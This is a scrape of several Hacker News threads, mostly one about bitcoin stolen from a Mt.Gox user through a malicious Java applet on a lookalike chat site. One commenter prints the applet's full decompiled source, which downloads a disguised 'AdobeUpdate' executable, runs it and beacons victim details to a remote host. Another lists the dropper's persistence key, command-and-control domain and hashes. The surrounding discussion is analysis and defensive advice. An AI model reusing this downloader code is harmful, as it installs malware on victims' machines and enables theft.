How sales complexity impacts startup viability - <AUTHOR> http://www.forentrepreneurs.com/sales-complexity/ <comment><USER2> This is one of the main reasons I sell to teachers as opposed to selling to school districts: I just could not possibly keep ahead of the sales cycle for educational purchasing, with pushing the sale through multiple layers of bureaucracy, getting the PO, and then chasing down payment, all while otherwise occupied with everything else I have to do.

I'm hoping to be in the 37Signals-y sweet spot for my next product: zero marginal effort for the typical sale _but_ sufficient value to have lifetime customer values in the $X00 range rather than $29.95.

<comment><USER3> What is your next product? More importantly, how did you arrive at it?

</comment></comment><comment><USER4> Great article -- there's nothing groundbreaking here, but it's a good exploration of a topic that is often non-intuitive to engineers.

High sales complexity isn't necessarily the kiss of death for a startup; it just means that you need strong sales talent early on (preferably in one or more of the founders). Sure, you do everything you can to shift your product as far toward self-service sales as possible, but at the end of the day, if you can't sell it without being out in the field, that means most other companies can't do it, either. Presto, barrier to entry.

My startup is definitely on the high complexity end of the spectrum; our sales cycle is anywhere from 3 months to 3 years. Right now, we have no direct competitors; this is probably at least partly due to the complexity of the sales process.

<comment><USER5> My start up was founded by 3 core people, myself and 2 sales guys. People always remarked that I was the brains, but I gave them lots of credit. They went out to the shows, met the people, worked the sales. They brought in the people to use the technology I spent time building. I loved that i didn't have to handle the day to day business stuff or run out after people.

They loved that they could leave the tech stuff in my hands. It also helped that they could put me in front of potential clients and I could actually sell the product as well. And, as the tech guy, a lot of the prospects assumed I wasn't gonna try to sell them. I never lied, but damn, I was able to soothe any tech concerns with relative ease.</comment></comment>


Ask HN: How to get access to secret Windows APIs? - <AUTHOR> Dear HackerNews,
I would like to implement my own virtual surround sound provider akin to "Windows Sonic for Headphones" and "Dolby Atmos for Headphones". As far as I can see, there's absolutely no public API doc about that feature.
How would you approach analyzing / reverse engineering Windows to get access to the provider-side API?
Given that Windows usually uses COM objects, I'd guess that once you have the correct binary file, creating a reliably working interface specification should be easy. <comment><AUTHOR> This is the consumer-side API: [https://docs.microsoft.com/en- us/windows/win32/coreaudio/ren...](https://docs.microsoft.com/en- us/windows/win32/coreaudio/render-spatial-sound-using-spatial-audio-objects) I'm trying to implement the provider side, i.e. the thing that creates COM objects for ISpatialAudioClient to work with.</comment>


How I got robbed of 34 btc on Mt.Gox today - <AUTHOR> https://bitcointalk.org/index.php?topic=173227.0 <comment><USER3> Isn't this exactly what Bitcoin was created for - to allow unregulated access to currency? I guess people don't really realize what unregulated actually means - and nor do they realize why you really do want regulated currency.

This kind of thing happens all the time with real banks, but with real banks, all transactions can be traced and reversed. Law enforcement can follow the required documentation to find the owner of any account on a global level. This is exactly what Bitcoin was created to avoid.

Well guess what? When you avoid the regulation, you take the safety of the currency into your own hands. MtGox should not refund this in any way shape or form. The problem was entirely his fault. He did not secure his MtGox account with available two-factor authentication. He ran untrusted code at full permission on his PC. He needs to take some responsibility for his own use of an unsecured currency on an unsecured website with unsecured authentication and running untrusted code.

Zero sympathy from me. Maybe it will be a wake up call to others to actually think about their decisions. Shouting about the 'nanny state' and using bitcoin, and then turning around and looking for a nanny to help him out when he goes around it is pathetic.

<comment><USER4> We don't need sympathy or regulation. A simple market solution like voluntary bitcoin insurance would do the trick.

<comment><USER5> How do you propose to defend against insurance fraud? With mixing services available, there would seem to be very little risk in robbing one's own account.

<comment><USER6> You make the insurance price and due diligence bar high enough.

</comment></comment></comment></comment><comment><USER7> _Mtgox has clearly not had time to respond, and I fear they will claim this is my fault as I have seen in other posts online that they say "report it to the police".

They should compensate me 100%._

This shows one of the fundamental problems with Bitcoin-related services: when people get taken advantage of, they expect to be compensated.

While in the real world, banks will often compensate you if you're the victim of fraud, there isn't any equivalent for Bitcoin, despite people _really expecting_ it.

<comment><USER8> ...and banks will only compensate if they really have to because there are laws compelling them to do so. If they can get away with saying it's your fault they will.

While I have sympathy for the author it was a pretty silly thing to do.

<comment><USER9> "Federal Reserve Regulation E guarantees that US consumers are made whole when their bank passwords are stolen"

From [http://research.microsoft.com/apps/pubs/default.aspx?id=1618...](http://research.microsoft.com/apps/pubs/default.aspx?id=161829)

Of course, as that paper points out, the traditional electronic money system is incredibly reversible. If someone transfers $50,000 from my personal bank account to someone else's bank account, it's pretty easy for it to be undone.

The bottleneck is the money mules who are hired (read: suckered) into engaging in irreversible transactions.

<comment><USER10> > If someone transfers $50,000 from my personal bank account to someone else's > bank account, it's pretty easy for it to be undone.

That depends on the timeframe. Once the money has been moved out of that new account again things start getting much harder.

<comment><USER11> Not really. If a Bank gets a reversal before funds have cleared its pretty straightforward and the stack will almost unwind itself as each Bank reverses credits to the accounts in response to reversals before them. Depending on type of transfer yes there is a date beyond which reversals are not possible but the number of transfers has little to do with it.

<comment><USER9> Thieves want to work to empty that new account as fast as possible. And they still can't without suckers who volunteer to run a "check-cashing business" or similar scam.

 _Because_ banks are held responsible for fraud (from consumer accounts), they work hard to never be the ones holding the bag, so they put up roadblocks in attempts to engage in irreversible transactions. If you say "hey, I opened my account yesterday, now I want to withdraw the $40,000 that just showed up in it, 10's and 20's please" they will nod politely and call a bank manager.

</comment></comment></comment></comment></comment></comment><comment><USER12> Some basic analysis of the binary:

Creates the following directories:

        %UserProfile%\537214
        %UserProfile%\684544
        %AppData%\dclogs

Creates a new registry value (so that it runs every time on startup)

        [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
        537214 = "%UserProfile%\537214\svhost.exe"

Tries to connect to:

        tamere123.no-ip.org on ports 80 and 1604

The subdomain above leads to the following IP:

        18.104.22.168

Which, according to iplocation.net is located in:

        Los Angeles
        California
        ISP: Hugeserver Networks Llc

It's very unusual for malware to be hosted in USA so I would assume that either it is a compromised computer/bot or it is some script kiddie using his home connection, the latter is more likely since there were no exploits used just social engineering and luck.

File hashes:

        MD5: 0x81F8E4C33ADECE6BF89EF171D9930282
        SHA-1: 0xF540BA6C5F1C2AA50B81A440E7D74F8CF588B4D7

<comment><USER13> <https://news.ycombinator.com/item?id=5531500>

It's a service by script kiddies for script kiddies.

</comment></comment><comment><USER14> So... you ran a Java applet on a domain with mtgox in its name and didn't make sure that site is owned by MtGox?

I'm sorry for your loss but what happened is your own fault entirely and I would be surprised if MtGox decides to refund you.

<comment><USER15> > I would be surprised if MtGox decides to refund you

I agree that MtGox shouldn't be doing any kind of refunding in this case.

> what happened is your own fault entirely

You're blaming the victim.

If I'm walking down a dark alley and someone pulls a gun on me and takes my wallet, is it _my fault_ because I decided to walk down a dark alley? Not at all.

The only person at fault here is the cracker who perpetrated the scam.

The only thing you can say about the victim in this case is that they aren't very sensible. Just like walking down dark alleys might not be sensible. But it's not the OP's fault that someone stole something from him.

<comment><USER16>
            +</comment></comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment>-+
    	|                  SECURITY WARNING!                    |
    	|  You are attempting to walk down a dark alley,        |
    	|  which could be dangerous.  Only walk down            |
    	|  dark alleys you are familiar with and trust.         |
    	|  By walking down this alley you assume responsibility |
    	|  for the attendant risks.                             |
    	|                                                       |
    	|  Do you still wish to walk down the dark alley?       |
    	|  [x] Yes         [ ] Cancel                           |
    	+</comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment></comment><comment>-+

Perhaps a better phrasing that "your own fault" is "it was 100% in his power to prevent this from happening. He is responsible for the fact that it happened."

<comment><USER17> Fault and blame is not zero-sum, a point many people seem to miss. Realizing that the victim has some (and he certainly does here, and in many other cases) does not in any way reduce what attaches to the perpetrator.

</comment></comment><comment><USER18> TLDR; OP runs java applet (either in browser or downloaded it). Java applet sends bitcoin from OP's MtGox account to the 'hackers' bitcoin address, using the OP's browser, which was logged in to his MtGox account at the time.

<comment><USER19> Yeah, this has fuck-all to do with bitcoins. Same thing could have happened with real money through paypal or a bank's website, except those are probably a few steps ahead of babby's first online banking website in terms of migitating against likely attack vectors.

</comment></comment><comment><USER20> So, how about if you could have a Linux boot image onna stick, properly secured, no Java, several BitCoin apps preinstalled and optimized to boot extremely quickly into what would basically be a sort of BitCoin Wallet dashboard interface.

You could plug in the USB, hibernate, flip the switch and be Bitcoin banking within seconds. Then unhibernate and get on with whatever you were doing on your day-to-day OS.

That way it can be completely separate from whatever risky, dangerous and/or irresponsible things you do on a regular basis with your computer--things that seemingly are worth the risk as long as they don't directly give attackers access to thousands of $$$ digital cash.

Question, I'm making a rough guess that a realistic speed-optimized fast boot- time for a Linux OS that doesn't need to do much is in the order of five seconds, is that about right? Also, I'm not 100% sure if that hibernation trick is actually possible, I've never really seen it on multi-boot systems and I wonder why, but from what I understand about hibernation (RAM gets saved to HD, restored next boot) the components are there?

And, make it look unlike any other OS, to make users instantly aware if they're operating on their banking/money "inside the stick" or "out in the open" (on the regular OS). For instance, a glowy green CRT terminal filter.

<comment><USER21> The biggest issue I see would be updating the block chain for the wallet between uses. Seems like it takes longer and longer to update. Moved my wallet to a new computer last night and it's been going for the last 5 hours.

<comment><USER22> If you download the blockchain from the P2P wallet client it always takes forever. You should download the blockchain once, put it on a USB drive, and then copy it into .bitcoin before you bootstrap a new machine with a wallet.

There are also sites that offer downloads of tar'd versions of the blockchain, or torrents. Pretty much anything is going to be faster than downloading via a bitcoin client.

<comment><USER20> This thread appears to have a download/torrent for a recent version of the blockchain data. It's about 4.7GB, apparently.

<https://bitcointalk.org/index.php?topic=145386.0>

So does that mean if you're not using BC via a wallet service, it requires at least 4.7GB of disk space in order to do its thing? How is this amount of data expected to grow in the future?

<comment><USER23> It's going to grow hugely (at least as long as punters keep using bitcoin); there's an expectation that clients will switch away from using the full history sooner or later, and there are mechanisms prepared for remaining reasonably secure with shorter histories.

<comment><USER24> Hah, so eventually only a few people like central power figures in the bitcoin community will be running with the full blockchain eh? Probably my favorite thing about bitcoin is how, despite its explicit goals, the more adoption it sees the more it looks like it will turn into the same old thing we already have.

<comment><USER23> I remember a friend making a similar comment about EVE online: you set people loose in this anarchistic, libertarian blank state, give them a few years, and... turns out they'll band together into gangs with leaders, that develop into communities with formal governance processes; neighbours helping each other out grows into insurance syndicates....

We've already seen people wanting an authority to compensate them when their bitcoins are stolen; bitcoins are meant to behave like cash, but an FDICed bank account is much more useful than cash for most people. That said, as long as the full feed remains open to anyone who has the spare compute power/disk space and wants to connect up to it, there's still a big difference from the existing financial system.

</comment></comment></comment></comment></comment></comment></comment><comment><USER25> I'm not doubting Bitcoin's potential to become a _true_ currency, but unless this type of smash-and-grab situation can be traced/avoided/insured (whatever the right mechanism is) it is going to be extremely hard to make ordinary businesses and people use it. People don't place value in the currency itself, but the system that provides certain security around it.

<comment><USER26> Banks that handle USD follow strict federal regulations on security procedures and insurance. If this happened at a bank, the OP would absolutely get his money back. Bitcoin needs federal regulations... oh wait...

<comment><USER25> Agree. When a transaction is not authorised by the account holder, this transaction is legally invalid. _Any_ bank would _give_ the money back in this kind of situation.

I can't imagine my parents (or 99% of the adult population) being liable for this theft when "proper security precautions" means knowing when to detect and avoid a "0 day java exploit with a cross site injection attack".

<comment><USER27> Not really. Most banks I've asked would not refund if the victim did not take proper security measures, and the OP in this case most certainly did not.

<comment><USER9> Banks are required to make users whole, even if the user's password is compromised. At least for individual accounts. (For businesses the situation is different.)

[http://research.microsoft.com/apps/pubs/default.aspx?id=1618...](http://research.microsoft.com/apps/pubs/default.aspx?id=161829)

<comment><USER27> It depends very much on local laws in your country, from what I've seen.

</comment></comment></comment></comment></comment></comment><comment><USER13> From the source of mtgox-chat.info:

      <applet name='ChatBox' width='10' height='10' code='wDbIDcgeH.class' archive='wDbIDcgeH.jar'></applet>

Yep, probably an exploit, there aren't many good reasons for a 10x10 applet. Let's download the jar. It contains a single 3.5KB payload. Let's use a Java decompiler (JD-GUI).

      import java.applet.Applet;
      import java.applet.AppletContext;
      import java.io.BufferedInputStream;
      import java.io.BufferedOutputStream;
      import java.io.FileNotFoundException;
      import java.io.FileOutputStream;
      import java.io.IOException;
      import java.net.InetAddress;
      import java.net.MalformedURLException;
      import java.net.URL;
      import java.util.logging.Level;
      import java.util.logging.Logger;

      public class wDbIDcgeH extends Applet
      {
        static String lik = "h?t?t?p?:?/?/?w?w?w?.?g?a?l?a?x?y?j?d?b?.?c?o?m?";

        public static void logme(String paramString)
        {
          String str1 = lik.replace("?", "");
          String str2 = "PoutineCoutu";
          try {
            String str3 = InetAddress.getLocalHost().getHostName().replace(" ", "-");
            URL localURL = new URL(str1 + "/insert.php?" + "&o=" + System.getProperty("os.name").replace(" ", "-") + "&u=" + str2 + "&ip=" + str3 + "&e=" + paramString);
            localURL.openStream();
          } catch (IOException localIOException) {
            localIOException.printStackTrace();
          }
        }

        public void start()
        {
          String str1 = "no";
          String str2 = System.getenv("APPDATA");
          String str3 = System.getProperty("java.io.tmpdir");
          String str4 = "http://g2f.nl/0lczsoo";
          String str5 = str2 + "\\";
          String str6 = "AdobeUpdate-Setup1.84##e";
          String str7 = "f.R.q.w.v.k.p.g.E.q.w.v.w";
          String str8 = "CodedByOrpheu";

          String str9 = str5.concat(str6.replace("##", ".ex"));
          BufferedInputStream localBufferedInputStream = null;
          try {
            localBufferedInputStream = new BufferedInputStream(new URL(str4.replace("##", ".ex")).openStream());
          } catch (IOException localIOException1) {
            if (str1 != "yes") logme("Noa");
            str1 = "yes";
            Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException1);
          }

          FileOutputStream localFileOutputStream = null;
          try {
            localFileOutputStream = new FileOutputStream(str9);
          } catch (FileNotFoundException localFileNotFoundException) {
            Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localFileNotFoundException);
          }

          BufferedOutputStream localBufferedOutputStream = new BufferedOutputStream(localFileOutputStream, 1024);
          byte[] arrayOfByte = new byte[1024];
          try
          {
            int i;
            for (long l = 0L; (i = localBufferedInputStream.read(arrayOfByte)) != -1; l += i)
              localBufferedOutputStream.write(arrayOfByte, 0, i);
          }
          catch (IOException localIOException2) {
            if (str1 != "yes") logme("Noc");
            str1 = "yes";
            Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException2);
          }
          try {
            localBufferedOutputStream.close();
          } catch (IOException localIOException3) {
            Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException3);
          }
          try {
            localBufferedInputStream.close();
          } catch (IOException localIOException4) {
            Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException4);
          }
          try {
            Runtime.getRuntime().exec(str9);
            logme("Yes");
          } catch (IOException localIOException5) {
            logme("Nod");
            Logger.getLogger(wDbIDcgeH.class.getName()).log(Level.SEVERE, null, localIOException5);
          }
          try
          {
            getAppletContext().showDocument(new URL("0"), "_self");
          } catch (MalformedURLException localMalformedURLException) {
            System.exit(0);

            localMalformedURLException.printStackTrace();
          }
        }

        public void init() {
          start();
        }
      }

Well, I can't decipher that, but some security expert might be able to see what's going on.

<comment><USER18> It sends log messages to <http://www.galaxyjdb.com> with your OS information and the state of the app..

        /insert.php?o=*os.name*&u=*APPDATA*&ip=java.io.tmpdir&e=*APPSTATE*

It appears to download an exe from <http://g2f.nl/0lczsoo>

Then it tries to execute the exe:

        System.getenv("APPDATA") + "\\AdobeUpdate-Setup1.84.exe";

If at any point in the process it hits an exception, it sends the code for that exception to the galaxy web address, presumably so the dev can see how the app is performing.

Now normally it wouldn't be able to execute the exe (no access to the filesystem), but it looks like the applet requests elevated permissions from the user to allow it to access/run files.

<comment><USER8> AVG detects this as Luhe.Fiha.A

Here's a mnetion from 2011:

([http://answers.microsoft.com/en- us/windows/forum/windows_7-s...](http://answers.microsoft.com/en- us/windows/forum/windows_7-security/what-is-luhefihaa-detected-by-avg- antivirus-on-5/39ec50b5-fffb-4ff8-bb77-c7d6f35a6d62))

So, someone using an OS heavily targeted by malware decides not to use anti- malware software, and to have javascript and apparently java enabled in the browser, and then chooses to visit an URL advertised in a chat window - <USER2> URL is unknown to that person, does not match the URL they're on but claims a link to the URL they're on, etc etc.

It's a shame someone got robbed, and the responsibility is clearly on the criminal to not engage in criminal behaviour.

But come on; don't just give them your money.

EDIT: I just read the first answer to the MS post above. It's baffling.

> _On reflection the best and easiest recourse might be to just tell AVG to > "ignore" this "infection." Is this thing actually a virus? or an infection? > I have seen no operational problems, nothing in chkdsk, sfc, Registry > Mechanic, etc., to concern me._

Totally unrelated to MtGox but: someone has anti-malware software. That software tells them it's found an infected file. There's no evidence this is a false positive. Rather than wipe and re-install (a distressingly unpopular choice) or using anti-malware tools to clean the infection the advice is to train the software to ignore the infection.

MS is stuffed. There is _nothing_ they can do to repair their malware reputation when the users are that stupid.

<comment><USER28> This isn't just an MS problem. Macs have the problem where users still believe their OS isn't vulnerable to malware and as such aren't careful either.

</comment></comment></comment></comment><comment><USER29> He seems to think MtGox should compensate his loss, but I really don't see how it's their fault. The guy fell victim to a phishing scam, plain and simple. It was completely out of MtGox's hands.

</comment><comment><USER20> > I then discovered that the site is loaded with a java script which, based on > an initial analysis by my java programmer friend, is a 0 day java exploit > with a cross site injection attack, which automatically started

"Being a techie", I like to confuse Java and Javascript ...

<comment><USER30> Well, he did put a space there. I'd give him a pass.

<comment><USER20> I would have, but then the term " _cross site_ injection attack", is again Javascript terminology (he probably meant XSS or CRSF, but the term "cross site" doesn't really apply to Java applets).

However, the guy just got hacked out of about $8k worth of BC, which sucks, and for that I do give him a pass :)

<comment><USER31> I'm assuming you mean "XSS or CSRF". In both cases the first 2 letters denote "Cross Site".

But, I'm picking hairs, and as you say, the guy just lost a shed-load of coin, so mostly sympathy (with a bit of urge to educate) from this end.

EDIT: Sorry, your comment was slightly ambiguous, I apologize for picking on a typo, I originally thought you were saying that XSS and CSRF had nothing to do with "Cross Site" which, upon reading again, I noticed was not the case. (Also, I made the same typo (CRSF) while typing this and only caught it just before hitting the submit button!)

<comment><USER20> Well abovethread it turns out he must have clicked through all sorts of Java certificate warning boxes, or run an old vulnerable Java version -- now I feel about as sorry for him as someone whose laptop got stolen as they left it unattended on the table in a coffeeshop for a toilet break. You can wait for something to happen like that.

</comment></comment></comment></comment></comment><comment><USER32> A bit off topic, but if you care about security DO NOT INSTALL JAVA to your computer. I'm JAVA free for the last ~5 years and I never really needed it.

Java's security track is horrible and it's quite popular target.

<comment><USER33> I think that is a bit extreme. I'd suggest rather than not installing Java at all just to not install/disable the browser addons that allow java applets to execute. This way the only way you are going to be executing anything Java is by downloading the .jar (or a executable wrapper) and running it.

To me if you have to download the .jar and run it then that is no different to downloading an executable and running it and should take the appropriate precautions as you would with executables.

There are plenty of legitimate Java applications out there that are used by a wide spectrum of people from gamers (minecraft) to enterprise developers (JavaEE, java application servers, etc.).

<comment><USER34> How is it extreme? The only time I've needed java is for minecraft. Luckily I'm not rocking windows so the chance of being hit by a 0-day is a bit lower (correct me if I'm wrong.)

But stopping the chance of having everything in your digital (and in the case of money, personal) life stolen because you clicked on a link FAR outweighs the benefit of playing minecraft imo.

<comment><USER33> I think you need to go back and read what you replied to.

Having Java installed but with Java disabled in your browser, like I suggested, means Java applets won't run in your browser at all. You'd need to download and execute the .jar or wrapper (which would be a executable anyway) which is no different from downloading any normal executable and running it.

<comment><USER34> Well yes I agree on that actually. Probably should've thought that through.

</comment></comment></comment></comment></comment><comment><USER35> I wonder how much the of the increase in MtGox accounts and MtGox trading volume (discussed here: <https://news.ycombinator.com/item?id=5529986>) is due to this malware. If I was the author of this program, I'd spread the trading out over a large number of accounts and hit as many people as I could in a short time period (once the news gets out, this exploit will be _much_ less effective).

</comment><comment><USER36> How useful is a "currency" if it 1) has volatility like a penny stock and 2) raises the stakes on 0-day defense to something ridiculous?

When I hear interviews where people (bitcoin founder) suggest that you don't transfer into bitcoins any state currency you aren't willing to lose... it sort of peels the "inflation-hedge" covers off the whole thing. How unstable and unsecure does a currency have to be to be nearly worthless? USDollars look pretty safe again.

This is so much a game of hacker gambling. A great experiment. Too bad it consumes so much productive time and energy.

The beautiful narrative of the reclusive, open-society, eastern hacker that designs this thing which grows to be the godzilla it is... The story arc on bitcoin is borderline trite. Michael Bay is all over this in a year.

</comment><comment><USER37> Is funny that people throw around words like "java script 0 day exploit" and then post:

>Then and there someone posted a link to www mtgox-chat info (do not open unless you know what >you are doing) claiming a video announcement that mtgox was going to start trading litecoins. >I clicked on the link, the website opened, not much happened, and the "video"/chatbox never loaded. >I then forgot about this website.

</comment><comment><USER16> I'm really confused by the title, in particular the "on Mt.Gox" part. Was he "on Mt.Gox['s website]" when he came across this applet? He makes it sound like the exploit was _on_ mt. gox.

If he got a trojan on a third party site that compromised his computer and Mt. Gox's site had nothing to do with it, this title seems a bit libelous. If in fact that's the case, I'd implore HN mods to change the title to something that doesn't unfairly cast aspersions on the Mt.Gox site.

 _FWIW: I have no bitcoins, I don't fully grok bitcoins, I'm scared of bitcoins, I don't use mt.gox or any vendor_

<comment><USER38> You have a point. His protestations notwithstanding, Mt. Gox does not appear to bear any responsibility for this at all. What happened was, he let his browser get pwned while he had his Mt. Gox account open in another tab. The coins were taken from his Mt. Gox account, but the security breach was on his end.

</comment></comment><comment><USER39> MtGox really does run a subpar operation. There should be additional security checks when transferring money out of an account, and there should be the option to enable multifactor authentication. Back when they were originally hacked, this should have become top priority for them, along with making their service rock solid. If people are hacking and stealing from you, it's obvious you have something of value and need to take steps to protect what you have, _especially_ when it's being held on behalf of a customer.

<comment><USER8> This wasn't someone hacking MtGox.

This was someone on a vulnerable OS, running without malware protection, with Java active in the browser, visiting an unknown link, and possibly giving an application permission to run. (Although maybe it didn't need permission to run?)

To get to that point the person needed to ignore several well established security principles.

<comment><USER40> Oh come on, how hard is it for MtGox to implement TOTP and tell users to download Google Authenticator? It's not really that much hassle to enter a code each time you want to make a transaction, and these things wouldn't happen.

Sure, the user was being stupid here, but MtGox didn't do them any favors either.

<comment><USER41> "Oh come on, how hard is it for MtGox to implement TOTP and tell users to download Google Authenticator?"

Not hard, and they did it a long time ago. The user didn't opt in.

<comment><USER39> When I signed up for an account, there was no obvious prompting to go and turn it on. It's all well and good having extra security, but if you don't actively try to get your users to make use of it, it's only going to be marginally useful.

<comment><USER8> That user was aware of extra MtGox security and chose not to use it.

On top of that the user

1) Chose to turn off (or not use) malware software

2) Enabled Java in the browser

3) Chose to visit a short url link presented in a chat window

4) Clicked through a big scary warning

All while still logged into their MtGox account.

It sucks that they're a victim of crime, but their actions were dumb.

</comment></comment></comment></comment></comment></comment><comment><USER42> This is exactly why everyone on the internet keeps saying that you shouldn't automatically run Java applets or shouldn't have Java installed at all on your computer.

Java is just such a big target for hackers nowadays, that there will always be zero-days.

<comment><USER43> The funny thing is, this particular attack doesn't even involve a Java vulnerability. You have to either specifically grant the applet elevated permissions (giving it full access to your computer) or download and run something that claims to be a "Java updater" from the "g2f.nl" domain.

<comment><USER44> What I'm not getting is how a running executable can log into a website and initiate a transaction. It won't have your password right? Or is it just a keylogger to catch your password?

<comment><USER45> Like your regular XSRF, it relies on the user already being logged in some browser tab.

It probabley has a keylogger too.

</comment></comment></comment></comment><comment><USER46> I'm having trouble understanding the OP's problem with mt. gox. Is it that the OP wants mt. gox to have somehow prevented him from downloading and running malicious java code from some other third party website? (WTF dude) or is it more specific, that the OP thinks mt. gox should have somehow prevented the OP's credentials from being sniffed by said malicious program?

</comment><comment><USER47> This is probably not much different from any other internet banking trojan horse delivered via a java exploit.

Some banks solve this problem by requiring a 2 factor auth to confirm transactions (even after logging in).

</comment><comment><USER48> Best comment from the thread: "Friends don't let friends use Windows + Bitcoin."

</comment><comment><USER49> The non-reversibility of bitcoin transactions is a huge liability. Our current state of software technology was designed in a world where the most valuable/dangerous thing you could possibly have on your disk or on a web site was, what, your ssh keys? Nude photos of yourself?

The value of hacking, phishing, etc is significantly increased by the presence of bitcoins.

I guess you could argue that if bitcoins are popular, software practices will evolve to be much more secure - but until then, it's wild west, and much more wild than the internet ever was before.

</comment><comment><USER50> Is there a way that MtCox or somewhere could keep a blacklist of 'stolen' coins? So that they become worthless because nobody would be able to trade them?

<comment><USER51> Without making that database universal it just means some poor merchant that accepts bit coins is going to get stiffed.

<comment><USER50> but it'd be viral so be universal. Merchents and absolutely everyone would all quickly start checking just to ensure they don't get coins they can't trade, making it effectively universal.

Which means it comes down to convincing the gatekeeper that you were burgled. But that's a human level problem.

<comment><USER52> and whoever that controlled that list would basically control bitcoins, because they could charge a levy or else they'd put your bitcoin into that list.

<comment><USER51> Yup, way to put a centralized control on your decentralized "currency."

</comment></comment></comment></comment></comment><comment><USER53> No offense to bitcoiners, but what are people expecting when the biggest exchange is "Magic The Gathering Online Exchange" for this "currency" ?

</comment><comment><USER33> I've not used Mt.Gox but does it let you perform transactions without authenticating again? Even if you were logged in to your account, I'd expect any kind of financial related website to perform some kind of re- authentication before processing any transaction. Perhaps with the exception of transferring funds to somewhere you've sent funds in the past.

<comment><USER54> You have the option of enabling two-factor authentication for various actions:

<http://i.imgur.com/5I31WcX.png>

</comment></comment><comment><USER55> "site is loaded with a java script" - srsly? You do ebanking (or ebitcoining) on a computer which has java installed?

<comment><USER31> I hate to say it, but (at least in Australia) many banks require Java to do business banking.

This should change (at the glacial rate banks change things) as they realise that Java in the browser is risky business.

This may change if Oracle pull their finger out, stop being dicks about the licensing, and try to promote the language again.

Honestly, I think they've left it too late and the majority of "Java" you're going to see in the near future is going to be related to Android (and hence not running on Oracle's stack).

<comment><USER55> Then at least have a virtual machine snapshot of a clean install of OS+Java+Browser and always boot from the snapshot when doing internet business.

</comment></comment></comment><comment><USER35> Java Applets were designed to give you the ability to execute a program on your computer from the browser in much the same way ActiveX controls _could_ be used for exploits. Turn off Java in the browser and hope that JavaScript is sandboxed well enough.

<comment><USER56> Java Applets is not designed to give you the ability to execute a program on your computer from the browser in much the same way ActiveX controls could be used for exploits.

Only a signed Java applet can ask the user to give permission to access his computer.

</comment></comment><comment><USER57> I quite like the JVM but I think it should be stopped from running inside a browser.

<comment><USER42> The thing is that it's easy to stop Java applets from executing. Even better most browser prevent this by default. Including chrome, which he was probably using as indicated by the screenshot.

Looks like this was entirely his own fault, though it still sucks. Wouldn't hope for a refund though t.b.h.

<comment><USER57> Yes, I guess you're right. Am I being evil when I think that it would have been great if we could publish security patches for humans? =)

</comment></comment></comment><comment><USER58> Doesn't Mt.Gox have any 2 factor auth when it comes to approving transfers?

<comment><USER59> Yup, they use yubikey and in the past have even given free devices to customers. This guy didn't have one, which is simply irresponsible on his part.

<comment><USER60> They also support TOTP (Google Authenticator, etc)

</comment></comment></comment><comment><USER8> At $200 per bitcoin, this is a $6,800 lesson in "Don't visit random websites".

At least they were open about being robbed. I wonder how many bitcoins were stolen in total?

EDIT: Has anyone visited the URL to analyse the malware?

<comment><USER61> At the current exchange rate, his loss is now down to $2100...

</comment></comment><comment><USER45> Maybe I'm missing something something, but where exactly is the exploit here? (0-day no less)

AFAIU, the user was prompted to accept an autosigned applet, and he did so. After that, the outcome was inevitable. You may hate java all you like, but it seems like the user (inadvertently) gave this program permission to steal all his money.

</comment><comment><USER62> Actually, the only thing the hacker didn't do is ask the dude politely to give him (or her) the money. This wasn't a 0day bug, no XSS. The dude gave the hacker permission to run any code on his machine, therefore it's completely his own fault, and has nothing to do with MtGox.

</comment><comment><USER63> I uninstalled all of the Java plugins when the 0 days started coming out a couple months ago. If you want to be extra safe, you should probably have some sort of Linux LiveCD without any plugins enabled, that acts as a trusted environment for banking.

</comment><comment><USER64> Why do people trust MtGox again? Didn't something similar to this happen a year or-so ago where everyone's money disappeared and the ops were like "Yeah we don't know what happened"? How do we know they aren't fleecing everyone?

</comment><comment><USER65> I have a Yubikey account with MtGox. Withdrawals require a long-press of the key. If you have a significant amount of BTC in MtGox, I would recommend paying the $20 to get the two-factor authentication key for your account.

</comment><comment><USER66> This makes a lot more sense now:

<https://news.ycombinator.com/item?id=5530247>

</comment><comment><USER67> Doesn't MtGox send out an email or SMS with a verification code before a transfer can take place? Ouch...

</comment><comment><USER68> I get laughed at for using NoScript.

<comment><USER19> I use NoScript too, but the OP was lead to believe that they were accessing a video or an interactive chat, so they would likely have permitted scripts to run on that page anyway.

</comment></comment><comment><USER69> <http://onbitcoins.com/2013/04/11/bitcoin-theft-mt-gox-trust/>

A Mt. Gox investor was surprised to see his account suddenly pillaged. Will Bitcoin theft call into question trust and confidence in the system?

</comment><comment><USER70> Welcome to the far west...

</comment><comment><USER71> Man, I'm getting tired of repeating these basic security issues:

Stop storing your wallet online. And if not that, _stop letting flash/java autoload/run_. Both Chrome and Firefox have "click-to-enable". Not only is it more secure, it also prevents auto-video-playing, background audio you can't find and shit like this from happening.

</comment><comment><USER72> LOLarious.</comment>


How to Set Up WeChat Pay? A Simple Guide - <AUTHOR> https://walkthechat.com/wechat-payment-5-reasons-tencent-might-kill-alipay/ <comment><USER2> thanks for sharing, useful stuff</comment>


Security: OpenBSD vs. FreeBSD - <AUTHOR> http://networkfilter.blogspot.com/2014/12/security-openbsd-vs-freebsd.html <comment><USER3> I think the point of MAC was understated: the important idea (AFAIU) is that in traditional unix root is god, while with MAC the intent would be to make the whole "got r00t" pointless because root is just another user with some specific capabilities (e.g. create users, but not access the database).

Like, AWS' IAM for the single server.

I recall some ten years ago DAC vs MAC was a frequently debated topic, nowadays seems nobody talks about it, not sure if because trustedbsd/selinux/apparmor didn't deliver on the promises or anything else.

<comment><USER4> sebsd and selinux were and continue to be difficult to write policies for. I'm not even aware of anyone other than Fedora/RedHat and then specific appliances that even ship policies. If I understand correctly, even RedHat only ships targeted policies (not a comprehensive system policy) that usually need tweaked by the end admin for the situation at hand (which seems to lead to people just turning off selinux in Fedora/Centos/RHEL).

